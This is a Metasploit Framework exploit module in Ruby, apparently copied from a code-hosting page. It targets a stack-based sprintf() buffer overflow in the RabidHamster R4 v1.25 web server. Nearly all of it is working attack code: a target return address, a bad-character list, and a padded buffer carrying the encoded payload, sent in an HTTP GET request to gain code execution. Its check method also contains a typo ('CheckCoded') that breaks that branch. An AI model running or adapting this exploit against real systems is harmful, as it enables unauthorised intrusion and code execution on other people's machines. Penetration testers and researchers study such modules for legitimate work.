87 lines
2.4 KiB
Ruby
87 lines
2.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in RabidHamster R4's web server.
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By supplying a malformed HTTP request, it is possible to trigger a stack-based
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buffer overflow when generating a log, which may result in arbitrary code
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execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Luigi Auriemma', #Discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '79007'],
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['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],
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['URL', 'http://secunia.com/advisories/47901/']
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],
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'Payload' =>
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{
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'StackAdjustment' => -3500,
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'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "process"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['R4 v1.25', {'Ret'=>0x73790533}] #JMP ESI (ddraw.dll)
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],
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'Privileged' => false,
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'DisclosureDate' => "Feb 09 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('RPORT', [true, 'The remote port', 8888])
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], self.class)
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end
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def check
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => '/'
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})
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if res and res.headers['Server'] == 'R4 Embedded Server'
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCoded::Safe
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end
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end
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def exploit
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buf = ''
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buf << payload.encoded
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buf << rand_text_alpha(2022-buf.length, payload_badchars)
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buf << [target.ret].pack("V*")
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buf << pattern_create(200)
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buf << rand_text_alpha(3000-buf.length, payload_badchars)
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send_request_cgi({
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'method' => 'GET',
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'uri' => "/?#{buf}"
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})
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end
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end
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